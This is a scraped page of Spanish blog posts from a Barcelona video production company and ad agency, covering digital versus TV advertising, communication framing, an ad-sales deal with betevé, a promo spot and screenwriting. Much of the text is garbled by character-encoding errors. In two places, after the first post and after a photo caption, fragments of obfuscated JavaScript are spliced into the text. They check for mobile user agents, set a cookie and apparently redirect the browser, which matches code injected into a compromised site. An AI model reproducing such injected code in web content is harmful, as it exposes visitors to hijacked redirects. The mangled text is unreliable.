La publicidad digital está a punto de superar a la televisiva

, , , , ,

El crecimiento de campañas en páginas web, redes sociales y buscadores aumentará hasta sobrepasar los anuncios tradicionales de televisión

Según los expertos, está previsto que en 2020 la publicidad digital supere a la convencional de televisión. Un claro ejemplo de que los tiempos en el mundo de la comunicación están cambiando, sobre todo desde la implantación global de internet a nivel usuario y el crecimiento imparable de la influencia de buscadores o redes sociales.




Esta tendencia es positiva en el sentido de que todo aumento en consumo publicitario, ya sea digital o convencional, es bueno para el crecimiento de la industria. La parte negativa llega con el hecho de que más de la mitad de la inversión para los años venideros se centrará en los buscadores, un área en la que Google es dueño y señor, poseyendo prácticamente el monopolio de las búsquedas en internet, un apartado imprescindible para todo aquel que quiera tener visibilidad en la red.




Por otro lado estA?n las redes sociales. Youtube como negocio es una realidad, y cada vez son mA?s los usuarios que prefieren el consumo de vA�deos a la carta en el tiempo que ellos deseen que no depender de una parrilla televisiva rA�gida y poco atractiva para segA?n quA� edades o gustos. AsA� ha crecido el fenA?meno youtuber, sobre una base de inversiA?n publicitaria enorme cuya tendencia es inevitablemente creciente.

El resto de redes como Facebook, Twitter o Instagram tambiA�n ofrecen la posibilidad de invertir para obtener mA?s visibilidad y, en consecuencia, mA?s seguidores y likes por publicaciA?n. Un claro ejemplo de que la publicidad se estA? concentrando en nichos cada vez mA?s reducidos donde la efectividad, sin embargo, es mayor.

Todo esto no significa que cuando llegue 2020 serA? el fin de anuncios como el de la LoterA�a de Navidad o el del primer spot de aA�o nuevo, el mA?s caro del aA�o, pero estaremos atentos a quA� nos depara el mercado de la publicidad en aA�os venideros, puesto que nosotros, como potenciales usuarios, tendremos todavA�a mucho que decir. x2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

A?Lo importante es poder hablar?

, , , , ,

A?LO IMPORTANTE ES PODER HABLAR?

a�?Lo importante es poder hablara�? era el eslogan de una operadora de telefonA�a mA?vil hace algunos aA�os. Era un buen a�?claima�? en un momento en el que ofrecer buena cobertura era el gran caballo de batalla de las telefA?nicas. E hizo fortuna.

Pero la frase en sA� misma es falsa.

Yo puedo hablar con un polaco muchas horas, pero si yo no entiendo el polaco y A�l no tiene ni papa de mi idioma, vamos mal.

TambiA�n he estado en reuniones de comunidad de vecinos donde todos hemos hablado mucho y despuA�s de dos agotadoras horas y cuando la cara de la administradora es un puro a�?o se ponen de acuerdo con la puta puerta del parking o juro que me tiro al Llobregat esta nochea�?, entonces alguien pregunta: a�?al final, A?quA�?a�?

Hay otras mA?s divertidas. Esa noche en que me hago el empA?tico con una estupenda estudiante de veterinaria que advierte en mi entusiasmo una incontestable erecciA?n. No triunfo, como el lector podrA? imaginar.

Podemos hablar mucho pero solemos quedarnos con lo que decimos y no siempre prestamos suficiente atenciA?n a lo que el otro entiende.

Los populismos polA�ticos, ahora emergentes, con discursos dirigidos a crear emociones han sabido entenderlo. Los clubes de fA?tbol tambiA�n saben apelar a las emociones y se centran en lo que va a captar su siempre fiel audiencia. Ya decA�a Lakoff que habA�a que movilizar a los tuyos y no a los que nunca te van a votar, y hacerlo con mensajes que esos tuyos entiendan. No importa si lo que se dice es verdad, sA?lo importa crear la emociA?n, la estructura mental, el a�?marcoa�?. Es conocido su ejemplo a�?no pienses en un elefantea�? que automA?ticamente nos hace pensar en elefantes. Las paradojas son inherentes a los simpA?ticos humanos.

George_Lakoff

Cuando Nixon apareciA? en la televisiA?n y dijo a�?no soy un chorizoa�? consiguiA? que inmediatamente todos los americanos le vieran como un chorizo y no como un inocente monje franciscano. A�l mismo creA? el marco a�?chorizoa�?. Tuvo que dimitir.

En cualquier comunicaciA?n hay ruido, como en el juego del telA�fono en que uno le dice al oA�do una palabra que luego se pasa a otro jugador y al final la palabra a�?Contubernioa�? se convierte en una humilde a�?Chirimoyaa�?. Pero el error mA?s comA?n es no escoger el camino mA?s limpio: escoger el canal adecuado, el lenguaje (los signos) comunes y los marcos que el receptor quiere asumir.

A?Quieres que tu interlocutor compre tu discurso? Piensa en A�l y no en ti. No le hables de la tecnologA�a del coche que le quieres vender, cA�ntrate en lo que pretende conseguir con el nuevo coche y no le digas cA?mo, sA?lo intenta que se lo imagine A�l mismo. a�?A?Te gusta conducir?a�? (BMW), a�?El secador mA?s caro del mundoa�? (VW Golf Cabrio) o a�?Siempre quisiste ser el mA?s rA?pidoa�? (VW Golf GTI, sobre una imagen de un espermatozoide llegando el primero al A?vulo) son ejemplos de cA?mo crear un marco, una emociA?n. Y sin decir una sola palabra sobre el coche.

La comunicaciA?n necesita de lo mismo que un pase en el fA?tbol: ya puedes poner el balA?n en el sitio perfecto que si el jugador que lo ha de recibir no a�?leea�? la jugada el balA?n se pierde.

En OneProduccions y OneAdMedia lo tenemos claro y hacemos nuestra la frase de Frank Luntz: a�?Lo importante no es lo que dices sino lo que se te entiendea�?. AhA� estA? la clave oculta.

betevA� otorga la exclusiva de su publicidad comercial a OneAdMedia

, , , , , , ,

reviewed-new-logo-identity-and-on-air-look-for-beteve-by-folch-3

Desde el pasado mes de Febrero, la agencia OneAdMedia es el nuevo exclusivista comercial de betevA�, la televisiA?n de Barcelona.

OneAdMedia, que ya es partner o colaborador de otros medios, serA? la encargada de negociar y contratar los espacios publicitarios tanto de la televisiA?n betevA� como de la radio betevA� 91.0fm y el portal beteve.cat.

Quedan fuera de este acuerdo las negociaciones con las instituciones publicas con las que la televisiA?n pA?blica de la ciudad condal ya tiene cerrados acuerdos anuales.

Los responsables de OneAdMedia, Roberto Gargallo y Carlos Alonso-de-Porres consideran que betevA� a�?es un autA�ntico bombA?n para los anunciantes, especialmente para los que tienen su mercado centrado en la ciudada�?, y destacan de la cadena a�?su proximidad a la calle y una calidad y compromiso de servicio de todos sus programas que no puedes encontrar en ningA?n otro canal. Para nosotros es una gran motivaciA?na�?.

La hasta ahora conocida como BTV o Barcelona TelevisiA? acaba de relanzar su marca con una remodelaciA?n total de su imagen, que incluye la nueva marca a�?betevA�a�? como eje principal de su nueva visibilidad.

Momento de la firma

*En la foto A�Sergi Vicente, director de betevA� (izquierda) junto a los responsables de OneAdMedia Robert Gargallo y Carlos Alonso-de-Porres, ultimando el acuerdo. |inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

#LookLikeOne El nuevo spot de One Produccions: “No es lo mismo ver… que saber mirara��”

, , , , , ,

a�?#LookLikeOnea�? es el hashtag y el tA�tulo del nuevo video de presentaciA?n de OneProduccions. Un a�?claima�? que fue escogido por votaciA?n entre nuestros seguidores en twitter de entre 3 diferentes que propusimos desde la productora. a�?LookLikeOnea�? fue un acierto vuestro porque nos permite cerrar el espot con la palabra ONE y porque refleja lo que querA�amos transmitir. A?Gracias a quienes participasteis!

El motivo del vA�deo partA�a de la premisa a�?No es lo mismoa�?, dirigiendo la locuciA?n hasta nuestra declaraciA?n de principios: a�?No es lo mismo vera�� que saber mirara�?. Como dicen de la belleza, en nuestra profesiA?n el A�xito tambiA�n suele estar a�?en los ojos del que miraa�?.

Mientras el texto contrapone la importancia de los matices (pequeA�o/lejano, conocido/amigo, oA�r/escuchar), las imA?genes juegan con situaciones cotidianas llevadas a otra dimensiA?n.

En su esencia, “LookLikeOne” quiere transmitir optimismo y vitalidad, y para ello el realizador Sergi Garnica utiliza personajes distintos, singulares, extremos y cada uno en su propio entorno, aunque el mismo sea a la vez inesperado y reconocible

Sergi Garnica, realizador del spot One Produccions | Productora Audiovisual Barcelona

Sergi Garnica, realizador del spot One Produccions | Productora Audiovisual Barcelona

Son personajes que nos miran y que permiten que les miremos. Hombres y mujeres que nos enseA�an sus virtudes pero tambiA�n sus temores. Sus miedos por el paso del tiempo (boxeador o guitarrista), la distancia (oriental) el amor (adolescentes) o las contradicciones (bailarina)

Hemos retratado a personajes extremos pero reales, en sitios urbanos y autA�nticos. Aprovechando su propia luz y la magia que despiertan algunas localizaciones habituales de nuestras vidas.

Es una pieza coral que proclama el amor por la vida y todas sus formas de expresiA?n. Historias que nos sirven como excusa para mostrar una estA�tica; imA?genes potentes, sugerentes y seductoras que reivindican una forma de hacer y mirar en el medio audiovisual.

Grabada en 2k, con un elenco de 13 actores y figurantes, 12 localizaciones y una mA?sica original compuesta por el compositor y diseA�ador de sonido Pau MarfA�, a�?LookLikeOnea�? es la nueva presentaciA?n de OneProduccions para este aA�o que acaba de empezar.

Equipo One Produccions | Productora Audiovisual Barcelona

Equipo One Produccions | Productora Audiovisual Barcelona

Porque no es lo mismo ver que saber mirara�� A?LookLikeOne!

No hay director que arregle una mala historia

, , ,

Alguien dijo que no hay director que estropee un buen guiA?n. Eso es casi cierto: Youtube estA? plagado de brillantes ideas filmadas con un mA?vil, el Movie Maker y ningA?n conocimiento de cine. Y sin embargo estA?n ahA�, con millones de reproducciones.

A?Hemos perdido el gusto por la forma, como nos pasa con la mA?sica en mp3? No. Pero el guiA?n, la idea, sigue siendo la madre de todas las batallas. Como una canciA?n de los Beatles sigue siendo una canciA?n de los Beatles aunque la toque yo con una guitarra espaA�ola desafinada.

Cuando el cliente nos encarga un video, en las productoras comenzamos a pensar en realizadores, iluminaciA?n, raA�les ,o cA?maras de last generation. Queremos -somos profesionales- que la idea que nos proponen llegue a los ojos del espectador como la mejor producciA?n posible, y asA� ha de ser. Pero ocurre en algunas ocasiones que el guiA?n no estA? a la altura del resultado tA�cnico. Entonces el video, la pelA�cula, no tiene recorrido ni resultados. Nuestro trabajo se cae con el conjunto.

Los malos guiones son el mayor enemigo del prestigio de las productoras audiovisuales y hemos de huir de ellos como de la paella con chorizo de Jamie Oliver. Cuesta decirle que no a un cliente. Mucho mA?s decirle que su guiA?n no sirve. Pero a la larga sale barato.

Jamie Oliver

La producciA?n audiovisual a��tan complicada ella tantas veces- no es mA?s que poner en el mundo fA�sico el sueA�o inmaterial de un autor. El espectador quiere ver el sueA�o con sus ojos, quiere sentir la historia. Cuando de niA�o vi la primera pelA�cula de Indiana Jones no me parA� a pensar en los filtros de la cA?mara ni en los travellings ni planos secuencia que metA�a el director. Me impresionA? aquella piedra gigante que rodaba hacia la pantalla y el fabuloso scalextric dentro de la mina, pero lo que me quedA? fue una historia buena bien contada, cosa que no me sucediA?

tras visionar el episodio II de Star Wars, o la para mA� espantosa Waterworld de Kevin Costner, que no andaban mal de presupuesto ni de efectos especiales. Es como el maquillaje: el mejor es el que no se nota, el que nos hace creer que la persona maquillada es asA� (como dijo Cindy Crawford a unas admiradoras: a�?no os engaA�A�is: reciA�n levantada, ni yo misma me parezco a Cindy Crawforda�?).

No estoy de acuerdo del todo con la primera frase de este artA�culo: existen malas producciones, y algunas casi han destrozado un guiA?n aceptable. Por supuesto que una buena producciA?n acrecienta el valor del cuento. La misma pelA�cula de Indiana Jones o el sA�ptimo capA�tulo de la ultima temporada de Game of Thrones, deben parte de su A�xito a grandes producciones. Pero como tambiA�n dijo otro: no hay director que arregle una mala historia.